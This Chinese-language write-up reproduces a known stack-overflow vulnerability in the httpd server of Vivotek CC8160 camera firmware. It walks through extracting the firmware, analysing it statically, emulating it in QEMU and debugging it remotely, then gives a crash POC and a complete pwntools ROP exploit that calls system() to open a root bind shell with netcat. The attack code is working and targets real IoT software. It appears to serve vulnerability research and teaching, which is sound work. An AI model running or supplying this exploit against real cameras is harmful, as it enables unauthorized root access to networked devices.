1
2
3
|
wget https://github.com/mcw0/PoC/files/3128058/CC8160-VVTK-0100d.flash.zip
unzip CC8160-VVTK-0100d.flash.zip
binwalk -Me CC8160-VVTK-0100d.flash.pkg
|
-M
: 递归扫描提取的文件。
-e
: 自动提取已知文件类型。
1
|
sudo find . -name squashfs-root
|
1
|
cd ./_CC8160-VVTK-0100d.flash.pkg.extracted/_31.extracted/_rootfs.img.extracted/squashfs-root
|
使用 ghidra 对固件根文件系统目录下 usr/sbin/httpd
进行静态分析:
strncpy()
没有对 Content-Length
字段的长度做任何限制,而 local_38
距离栈底只有 0x38 字节的空间,所以此处有栈溢出漏洞。
查看文件信息:
这是一个 32 位的 ARM 架构可执行程序,无法在 x64 架构上直接运行,因此需要使用 QEMU 模拟 32 位 ARM 环境。
1
2
3
4
5
6
|
sudo cp $(which qemu-arm-static) .
sudo su
mount -o bind /dev ./dev
mount -t proc /proc ./proc
exit
sudo chroot . ./qemu-arm-static ./usr/sbin/httpd
|
报错,提示无法打开 boa.conf
。查找 boa.conf
:
1
|
sudo find ../../../ -name boa.conf
|
把 boa.conf
所在的整个 etc
目录复制到根文件系统目录的 mnt/flash
下:
1
|
cp -r ../../../_31.extracted/defconf/_CC8160.tar.bz2.extracted/_0.extracted/etc mnt/flash
|
再次启动 httpd 服务:
报错,提示 gethostbyname:: Success。
对 httpd
静态分析:
gethostname()
获取主机名,并将其存到 local_74
中。gethostbyname()
读取 local_74
存放的主机名并寻找 IP。由于固件主机名和宿主机的主机名不一致,导致 gethostbyname()
无法找到主机名对应的 IP,httpd 服务启动失败。
查看固件主机名:
修改宿主机的主机名:
1
2
3
|
sudo su
echo "127.0.0.1 Network-Camera localhost" > /proc/sys/kernel/hostname
exit
|
继续启动 httpd 服务:
虽然还是有一些报错信息,但是 httpd 服务已成功运行。
解决了 httpd 启动的阻碍后,就可以尝试使用系统模式模拟了。宿主机的 httpd 服务暂时不再被需要,可以结束其进程:
下载 QEMU 所需的系统内核镜像等文件:
1
2
3
4
5
6
|
cd
mkdir arm-debian
cd arm-debian
wget https://people.debian.org/~aurel32/qemu/armel/debian_wheezy_armel_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/armel/initrd.img-3.2.0-4-versatile
wget https://people.debian.org/~aurel32/qemu/armel/vmlinuz-3.2.0-4-versatile
|
宿主机网络配置:
1
2
|
sudo ip tuntap add tap0 mode tap user `whoami`
sudo ifconfig tap0 192.168.2.1/24
|
启动 QEMU 虚拟机,用户名和密码可以参考 https://people.debian.org/~aurel32/qemu/armel/README.txt。
1
|
qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
|
QEMU 虚拟机网络配置:
1
|
root@debian-armel:~# ifconfig eth0 192.168.2.2/24
|
新建终端,打包 squashfs-root
目录,传输到 QEMU 虚拟机。在打包之前先取消挂载 dev 和 proc,否则会打包失败。
1
2
3
4
5
6
7
8
|
cd ./vivotek/_CC8160-VVTK-0100d.flash.pkg.extracted/_31.extracted/_rootfs.img.extracted/squashfs-root
sudo su
umount dev
umount proc
exit
cd ..
tar cvf squashfs-root.tar squashfs-root
scp squashfs-root.tar root@192.168.2.2:~
|
如果传输失败的话,可以重新检查一下宿主机的 tap0 设备是否成功配置 IP,没有 IP 则需要回到之前的步骤重新配置。
在 QEMU 虚拟机解开固件根文件系统目录:
1
|
root@debian-armel:~# tar xvf squashfs-root.tar
|
挂载 dev 和 proc:
1
2
|
root@debian-armel:~# mount -o bind /dev ./squashfs-root/dev
root@debian-armel:~# mount -t proc /proc ./squashfs-root/proc
|
改变根目录为固件的根文件系统目录,并执行 shell:
1
|
root@debian-armel:~# chroot squashfs-root sh
|
修改主机名:
1
|
/ # echo "127.0.0.1 Network-Camera localhost" > /proc/sys/kernel/hostname
|
启动 httpd 服务:
在宿主机下载 gdbserver-7.7.1-armel-eabi5-vi-sysv,并传输到 QEMU 虚拟机:
1
2
|
wget https://github.com/lucyoa/embedded-tools/raw/master/gdbserver/gdbserver-7.7.1-armel-eabi5-v1-sysv
scp gdbserver-7.7.1-armel-eabi5-v1-sysv root@192.168.2.2:~/squashfs-root/
|
为 gdbserver-7.7.1-armel-eabi5-vi-sysv 添加可执行权限:
1
|
/ # chmod u+x gdbserver-7.7.1-armel-eabi5-v1-sysv
|
编写用于调试的脚本 start_debug.sh
,开放 1234 端口用于调试:
1
2
3
4
5
6
7
|
#!/bin/sh
pid=`ps | grep -v grep | grep httpd | awk '{print $1}'`
if [ ! $pid ]
then
/usr/sbin/httpd
fi
./gdbserver-7.7.1-armel-eabi5-v1-sysv --attach 127.0.0.1:1234 `ps | grep -v grep | grep httpd | awk '{print $1}'`
|
在 QEMU 虚拟机里不方便编辑文件的话,可以在宿主机编辑完再用 scp 传过去。
1
|
scp start_debug.sh root@192.168.2.2:~/squashfs-root/
|
为脚本加上可执行权限:
1
|
/ # chmod u+x start_debug.sh
|
关闭 ASLR,降低后续利用漏洞的难度(考虑性能和功耗问题,物联网设备一般不开启 ASLR):
1
|
/ # echo 0 > /proc/sys/kernel/randomize_va_space
|
结束之前的 httpd 进程:
运行脚本:
新建终端,使用 gdb-multiarch 搭配 gef 插件进行远程调试:
1
2
3
|
cd ./vivotek/_CC8160-VVTK-0100d.flash.pkg.extracted/_31.extracted/_rootfs.img.extracted/squashfs-root
gdb-multiarch usr/sbin/httpd
gef➤ gef-remote 192.168.2.2 1234
|
strncpy()
被 FUN_00017f80()
所调用,查看 FUN_00017f80()
的汇编代码:
stmdb sp!, {r4, r5, r6, r7, r8, r9, r10, r11, lr}
在函数开始执行时依次将 lr,r11 ~ r4 的值入栈;ldmia sp!, {r4, r5, r6, r7, r8, r9, r10, r11, pc}
在函数返回时多次弹栈,栈顶的值依次传递给 r4 ~ r11,pc。要覆盖返回地址,只需覆盖 &local_38 + 0x38 -0x4 = &local_38 + 0x34 处的值。
使用如下 POC 验证返回地址是否成功被覆盖:
1
|
echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n" | nc -v 192.168.2.2 80
|
可以看到,pc 的值变成了 XXXX。另外,记住此时 sp 的值,后续写 exp 会用到。
查看 httpd
保护措施:
1
|
checksec usr/sbin/httpd
|
NX 保护已开启,考虑构造 ROP 链。
运行 httpd
之后,确定 libc 的基址(之前已关闭 ASLR):
1
|
/ # cat /proc/2481/maps
|
为了在远程执行 system("nc -lp2222 -e/bin/sh")
,寻找可用的 gadget:
1
|
ROPgadget --binary ./lib/libuClibc-0.9.33.3-git.so --only "mov|pop" | grep "pc"
|
32 位 ARM 架构函数的第一个参数通常放在 r0,选用如下 gadget:
1
2
|
0x00048784 : pop {r1, pc}
0x00016aa4 : mov r0, r1 ; pop {r4, r5, pc}
|
根据下图构造 ROP 链:
exp 如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
#encoding=utf-8
#!/usr/bin/python
from pwn import *
sh = remote("192.168.2.2",80)
libc = ELF('./lib/libuClibc-0.9.33.3-git.so')
libc_base = 0xb6f2d000 # libC 库在内存中的加载地址
stack_base = 0xbeffeb80 # 崩溃时 SP 寄存器的地址
payload = (0x38 - 4) * 'a' # padding
payload += p32(0x00048784 + libc_base) # gadget1
payload += p32(0x14 + stack_base) # 栈中命令参数地址
payload += p32(0x00016aa4 + libc_base) # gadget2
payload += (0x8 * 'a') # padding
payload += p32(libc.symbols['system'] + libc_base) # 内存中 system() 函数地址
payload += ('nc\x20-lp2222\x20-e/bin/sh;>') # 命令参数
payload = 'POST /cgi-bin/admin/upgrade.cgi \nHTTP/1.0\nContent-Length:{}\n\r\n\r\n'.format(payload)
sh.sendline(payload)
|
连接到 QEMU 虚拟机的 2222 端口:
获得 root shell。
- https://mp.weixin.qq.com/s?__biz=MzkwMjI1NzY4Ng==&mid=2247514544&idx=1&sn=7ea9dc7291748ab857d41e027fdec98c&chksm=c0aab4c9f7dd3ddf4c927911f8c54c8a28a4bb593e14f713a209ba95af8c5ee343b0b739cfab&mpshare=1&scene=23&srcid=0322Y0cd7ZlvMyBv4DlTjMA0&sharer_shareinfo=45342094bfb1daa0cde3416e9ecf06f9&sharer_shareinfo_first=ffef796c6a02c4a96b4bc093bb470fa7#rd
- https://jackfromeast.site/2021-01/vivotek-vul.html
- https://p1kk.github.io/2021/04/14/iot/vivotek%20%E6%91%84%E5%83%8F%E5%A4%B4%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
- https://oneda1sy.gitee.io/2021/10/20/Arm-Vivotek-CC8160/
- https://www.anquanke.com/post/id/185336
- https://xz.aliyun.com/t/5054?time__1311=n4%2BxnD07iti%3Dj2DBqooGkYDOYMvK7Ki%3Dx&alichlgref=https%3A%2F%2Fwww.google.com%2F